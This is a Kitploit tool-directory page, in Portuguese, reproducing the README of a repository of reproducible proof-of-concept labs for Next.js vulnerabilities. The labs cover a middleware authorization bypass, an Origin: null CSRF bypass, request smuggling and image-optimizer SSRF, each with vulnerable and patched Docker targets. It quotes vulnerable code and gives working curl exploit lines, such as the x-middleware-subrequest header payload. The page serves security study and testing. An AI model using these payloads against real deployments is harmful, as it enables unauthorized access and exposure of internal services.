Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Next.js-Proof-of-Concept — Algumas Provas de Conceito (POCs) para CVE-2025-29927, CVE-2026-27978 e CVE-2026-29057 no Next.js. | Kitploit
Ferramentas/GitHubGitHub/nayekah/next.js-proof-of-concept
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebAprendizado e EducaçãoLabs e Prática
GitHubnayekah/next.js-proof-of-concept

Next.js-Proof-of-Concept

Algumas Provas de Conceito (POCs) para CVE-2025-29927, CVE-2026-27978 e CVE-2026-29057 no Next.js.

Ver Repositório
há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Prova de Conceito de CVEs do Next.js

Este repositório contém ambientes de prova de conceito reproduzíveis para três vulnerabilidades do Next.js. Cada PoC inclui um alvo vulnerável, um alvo corrigido e um script que demonstra a diferença de comportamento entre os dois.

O objetivo deste projeto é tornar a causa raiz e o impacto prático de cada problema fáceis de observar em um ambiente mínimo.

Vulnerabilidades incluídas

CVEAvisoImpactoVersão vulnerávelVersão corrigida
CVE-2025-29927GHSA-f82v-jwr5-mffwbypass de autorização quando o controle de acesso depende apenas de middleware15.2.215.2.3
CVE-2026-27978GHSA-mq59-m269-xvcxbypass de Origin: null nas verificações de CSRF de Server Actions16.1.616.1.7
CVE-2026-29057GHSA-ggv3-7p47-pfv8contrabando de requisições HTTP (request smuggling) por meio de reescritas para um backend externo15.5.1215.5.13
NEXT-16.2.4-IMAGE-REDIRECTachado de auditoria de código-fonte localbypass da lista de permissões remota do otimizador de imagens por meio de redirecionamentos16.2.4não verificado
NEXT-16.2.4-IMAGE-LOCAL-REWRITEachado de auditoria de código-fonte localURL local do otimizador de imagens pode alcançar upstream privado por meio de reescritas externas16.2.4não verificado

Commits de lançamento e commits de correção

Os hashes abaixo foram obtidos do repositório upstream vercel/next.js.

CVECommit do lançamento vulnerávelCommit do lançamento corrigidoCommit de correção relevante
CVE-2025-29927v15.2.2 -> f4552826e1ed15fbeb951be552d67c5a08ad0672v15.2.3 -> 535e26d3c69de49df8bd17618a424cbe65ec897b52a078da3884efe6501613c7834a3d02a91676d2
CVE-2026-27978v16.1.6 -> adf8c612adddd103647c90ff0f511ea35c57076ev16.1.7 -> bdf3e3577a6d55ea186a48238d61fbd8da07a626a27a11d78e748a8c7ccfd14b7759ad2b9bf097d8
CVE-2026-29057v15.5.12 -> d23f41c42506005fe6978e076a1ccbf8979e4925v15.5.13 -> cfd5f533b08df3038476dcd54f1d6d660d85f069dc98c04f376c6a1df76ec3e0a2d07edf4abdabd6

Estrutura do repositório

root@kitploit:~
.
|- docker-compose.yml
|- pocs/
|  |- cve-2025-29927/
|  |- cve-2026-27978/
|  |- cve-2026-29057/
|  |- next-16.2.4-image-redirect-allowlist-bypass/
|  `- next-16.2.4-image-local-rewrite-ssrf/
`- scripts/
   |- run-cve-2025-29927.mjs
   |- run-cve-2026-27978.mjs
   |- run-cve-2026-29057.mjs
   |- run-next-16.2.4-image-redirect-allowlist-bypass.mjs
   `- run-next-16.2.4-image-local-rewrite-ssrf.mjs

Pré-requisitos

  1. Instale o Docker Desktop ou o Docker Engine.
  2. Garanta que docker compose esteja disponível.
  3. Execute os comandos a partir da raiz deste repositório.

Iniciar todos os serviços

root@kitploit:~
docker compose up --build

Portas expostas:

  • 3001 -> CVE-2025-29927 vulnerável
  • 3002 -> CVE-2025-29927 corrigido
  • 3003 -> CVE-2026-27978 vulnerável
  • 3004 -> CVE-2026-27978 corrigido
  • 3005 -> CVE-2026-29057 vulnerável
  • 3006 -> CVE-2026-29057 corrigido
  • 3007 -> NEXT-16.2.4-IMAGE-REDIRECT
  • 3008 -> NEXT-16.2.4-IMAGE-LOCAL-REWRITE

Reproduzir 1: CVE-2025-29927

Caminho de código vulnerável

Neste PoC, /dashboard é protegido apenas por middleware:

root@kitploit:~
export function middleware(request) {
  const session = request.cookies.get('session')?.value

  if (session !== 'admin') {
    return NextResponse.redirect(new URL('/login', request.url))
  }

  return NextResponse.next()
}

A verificação de autorização em si não está incorreta. O problema é que a rota depende inteiramente da suposição de que a execução do middleware não pode ser ignorada.

Nas versões afetadas do Next.js, requisições externas ainda podiam fornecer o cabeçalho interno x-middleware-subrequest, e o runtime tratava esse valor como metadados confiáveis de middleware. A lógica vulnerável relevante era:

root@kitploit:~
const INTERNAL_HEADERS = [
  'x-middleware-rewrite',
  'x-middleware-redirect',
  'x-middleware-set-cookie',
  'x-middleware-skip',
  'x-middleware-override-headers',
  'x-middleware-next',
  'x-now-route-matches',
  'x-matched-path',
]

export const filterInternalHeaders = (headers) => {
  for (const header in headers) {
    if (INTERNAL_HEADERS.includes(header)) {
      delete headers[header]
    }
  }
}

x-middleware-subrequest não era filtrado ali, portanto entrada controlada pelo atacante podia alcançar o runtime do middleware. Esse valor era então usado para derivar a profundidade de recursão:

root@kitploit:~
const subreq = params.request.headers['x-middleware-subrequest']
const subrequests = typeof subreq === 'string' ? subreq.split(':') : []

const depth = subrequests.reduce(
  (acc, curr) => (curr === params.name ? acc + 1 : acc),
  0
)

if (depth >= MAX_RECURSION_DEPTH) {
  return {
    response: new Response(null, {
      headers: {
        'x-middleware-next': '1',
      },
    }),
  }
}

Se um atacante enviar middleware:middleware:middleware:middleware:middleware, o runtime pode concluir que a profundidade de recursão já foi atingida e encaminhar a requisição sem executar o middleware da aplicação.

Executar

root@kitploit:~
docker compose up --build cve-2025-29927-vuln cve-2025-29927-fixed
root@kitploit:~
node scripts/run-cve-2025-29927.mjs http://localhost:3001
node scripts/run-cve-2025-29927.mjs http://localhost:3002

Comportamento esperado:

  • 3001 retorna um redirecionamento sem o cabeçalho do exploit, mas retorna 200 OK com x-middleware-subrequest.
  • 3002 continua redirecionando para /login porque o cabeçalho interno não é mais confiável a partir de entrada externa.

Reproduzir 2: CVE-2026-27978

Caminho de código vulnerável

Este PoC expõe uma Server Action normal que altera o estado no lado do servidor:

root@kitploit:~
'use server'

import { cookies } from 'next/headers'
import { revalidatePath } from 'next/cache'
import { recordTransfer } from '../lib/state'

export async function transferFunds(formData) {
  const cookieStore = await cookies()
  const session = cookieStore.get('session')?.value

  if (!session) {
    throw new Error('Victim session cookie is missing.')
  }

  const amount = Number(formData.get('amount') || '0')
  recordTransfer(session, amount)
  revalidatePath('/')
}

O problema não está em transferFunds() em si. O comportamento vulnerável estava na validação de CSRF do Next.js para Server Actions. Nas versões afetadas, Origin: null era tratado como uma origem ausente em vez de uma origem opaca explícita:

root@kitploit:~
const originHeader = req.headers['origin']
const originDomain =
  typeof originHeader === 'string' && originHeader !== 'null'
    ? new URL(originHeader).host
    : undefined

const host = parseHostHeader(req.headers)

if (!originDomain) {
  warning = 'Missing `origin` header from a forwarded Server Actions request.'
} else if (!host || originDomain !== host.value) {
  if (isCsrfOriginAllowed(originDomain, serverActions?.allowedOrigins)) {
    // Ignore it
  } else {
    const error = new Error('Invalid Server Actions request.')
    // ...
  }
}

Como 'null' se tornava undefined, requisições de origens opacas, como iframes com sandbox, podiam evitar o caminho de comparação host/origin e ainda ser processadas com os cookies da vítima anexados.

Executar

root@kitploit:~
docker compose up --build cve-2026-27978-vuln cve-2026-27978-fixed
root@kitploit:~
node scripts/run-cve-2026-27978.mjs http://localhost:3003
node scripts/run-cve-2026-27978.mjs http://localhost:3004

Comportamento esperado:

  • o script faz login como a vítima, extrai o campo Server Action gerado na página e o envia com Origin: null
  • no alvo vulnerável, o estado da transferência muda
  • no alvo corrigido, a requisição falha e o estado permanece inalterado

Reproduzir 3: CVE-2026-29057

Caminho de código vulnerável

Este PoC reescreve /rewrites/:path* para um backend externo:

root@kitploit:~
/** @type {import('next').NextConfig} */
const nextConfig = {
  async rewrites() {
    return [
      {
        source: '/rewrites/:path*',
        destination: 'http://127.0.0.1:4000/rewrites/:path*',
      },
    ]
  },
}

module.exports = nextConfig

O comportamento vulnerável estava na dependência http-proxy empacotada (vendored) usada pelo Next.js para reescritas. Nas versões afetadas, a lógica do proxy para requisições DELETE e OPTIONS podia adicionar content-length: 0 e remover transfer-encoding:

root@kitploit:~
deleteLength: function deleteLength(req, res, options) {
  if (
    (req.method === 'DELETE' || req.method === 'OPTIONS') &&
    !req.headers['content-length']
  ) {
    req.headers['content-length'] = '0'
    delete req.headers['transfer-encoding']
  }
},

Isso criava uma divergência de limite de requisição entre a cadeia de proxy e o backend quando uma requisição fragmentada (chunked) manipulada era encaminhada. Como resultado, uma segunda requisição podia ser contrabandeada para o backend pela mesma conexão.

Executar

root@kitploit:~
docker compose up --build cve-2026-29057-vuln cve-2026-29057-fixed
root@kitploit:~
node scripts/run-cve-2026-29057.mjs http://localhost:3005
node scripts/run-cve-2026-29057.mjs http://localhost:3006

Comportamento esperado:

  • o script redefine o estado observado e, em seguida, envia uma requisição DELETE /rewrites/poc bruta e fragmentada contendo um GET /secret contrabandeado
  • no alvo vulnerável, o backend registra tanto DELETE /rewrites/poc quanto GET /secret
  • no alvo corrigido, o backend registra apenas a primeira requisição reescrita

Exemplo de saída observada:

root@kitploit:~
$ node scripts/run-cve-2026-29057.mjs http://localhost:3005
[before] {"backendRequests":[]}
[after] {"backendRequests":["DELETE /rewrites/poc","GET /secret"]}
PoC result: vulnerable behavior reproduced.

$ node scripts/run-cve-2026-29057.mjs http://localhost:3006
[before] {"backendRequests":[]}
[after] {"backendRequests":["DELETE /rewrites/poc"]}
PoC result: smuggled request was not observed. This usually means the target is patched.

Reproduzir 4: NEXT-16.2.4-IMAGE-REDIRECT

Caminho de código vulnerável

O código-fonte local de next.js-16.2.4 valida images.remotePatterns apenas para o parâmetro url original em ImageOptimizerCache.validateParams():

root@kitploit:~
if (!hasRemoteMatch(domains, remotePatterns, hrefParsed)) {
  return { errorMessage: '"url" parameter is not allowed' }
}

O caminho de busca na rede então segue redirecionamentos recursivamente em fetchExternalImage():

root@kitploit:~
const redirect = new URL(locationHeader, href).href
return fetchExternalImage(
  redirect,
  dangerouslyAllowLocalIP,
  maximumResponseBody,
  count - 1
)

Essa chamada recursiva mantém a verificação de IP privado, mas não recebe nem reaplica domains / remotePatterns. Uma origem de imagem permitida e configurada pode, portanto, redirecionar o otimizador para uma origem pública diferente que não passaria na lista de permissões original de imagens.

O PoC usa serviços localhost e define dangerouslyAllowLocalIP: true apenas para que o comportamento da lista de permissões possa ser reproduzido sem infraestrutura externa. A lista de permissões de imagens configurada permite apenas http://127.0.0.1:4100/allowed/**; esse servidor redireciona para http://127.0.0.1:4200/blocked/private.png, e o segundo servidor registra se foi alcançado.

Executar

root@kitploit:~
docker compose up --build next-16-image-redirect-bypass
root@kitploit:~
node scripts/run-next-16.2.4-image-redirect-allowlist-bypass.mjs http://localhost:3007

Comportamento esperado:

  • o otimizador aceita a URL permitida original na porta 4100
  • o upstream permitido redireciona para uma URL na porta 4200, que está fora de images.remotePatterns
  • no alvo vulnerável, o upstream da porta 4200 registra GET /blocked/private.png
  • em um alvo corrigido, o destino do redirecionamento deve ser rejeitado antes que o segundo upstream seja buscado

Comandos manuais rápidos

CVE-2025-29927

root@kitploit:~
curl -i http://localhost:3001/dashboard
curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3001/dashboard

CVE-2026-27978

Use o script fornecido, pois o campo Server Action é gerado dinamicamente pelo servidor.

CVE-2026-29057

Use o script fornecido, pois o exploit depende de um payload TCP bruto com uma segunda requisição contrabandeada.

NEXT-16.2.4-IMAGE-REDIRECT

root@kitploit:~
curl "http://localhost:3007/_next/image?url=http%3A%2F%2F127.0.0.1%3A4100%2Fallowed%2Fredirect.png&w=64&q=75"
curl http://localhost:3007/api/state

Reproduzir 5: NEXT-16.2.4-IMAGE-LOCAL-REWRITE

Caminho de código vulnerável

Para uma URL de imagem local, ImageOptimizerCache.validateParams() valida apenas o pathname local contra images.localPatterns:

root@kitploit:~
if (!hasLocalMatch(localPatterns, url)) {
  return { errorMessage: '"url" parameter is not allowed' }
}

O caminho de busca interno então reentra no manipulador de requisições do Next.js:

root@kitploit:~
await handleRequest(mocked.req, mocked.res, nodeUrl.parse(href, true))

Se a rota local correspondente for configurada como uma reescrita externa, a requisição pode ser enviada via proxy para esse destino externo. Esse caminho não chama fetchExternalImage(), portanto a proteção de IP privado usada para URLs de imagem absolutas não é aplicada ao destino reescrito.

A configuração do PoC permite apenas URLs de imagem locais sob /allowed/** e, em seguida, reescreve esse caminho para http://127.0.0.1:4300/private/:path*:

root@kitploit:~
const nextConfig = {
  images: {
    localPatterns: [{ pathname: '/allowed/**' }],
  },
  async rewrites() {
    return [
      {
        source: '/allowed/:path*',
        destination: 'http://127.0.0.1:4300/private/:path*',
      },
    ]
  },
}

Executar

root@kitploit:~
docker compose up --build next-16-image-local-rewrite-ssrf
root@kitploit:~
node scripts/run-next-16.2.4-image-local-rewrite-ssrf.mjs http://localhost:3008

Comportamento esperado:

  • o otimizador aceita /allowed/secret.png porque corresponde a images.localPatterns
  • o Next.js aplica a reescrita externa para http://127.0.0.1:4300/private/secret.png
  • no alvo vulnerável, o upstream privado registra GET /private/secret.png
  • em um alvo corrigido, o otimizador de imagens deve rejeitar destinos de reescrita externos/privados antes de enviá-los via proxy

NEXT-16.2.4-IMAGE-LOCAL-REWRITE

root@kitploit:~
curl "http://localhost:3008/_next/image?url=%2Fallowed%2Fsecret.png&w=64&q=75"
curl http://localhost:3008/api/state

Fontes

  • Next.js Security Advisories
  • CVE-2025-29927 advisory
  • Postmortem on the middleware bypass
  • CVE-2026-27978 advisory
  • CVE-2026-29057 advisory
  • CVE-2026-29057 patch commit
Baixar ferramenta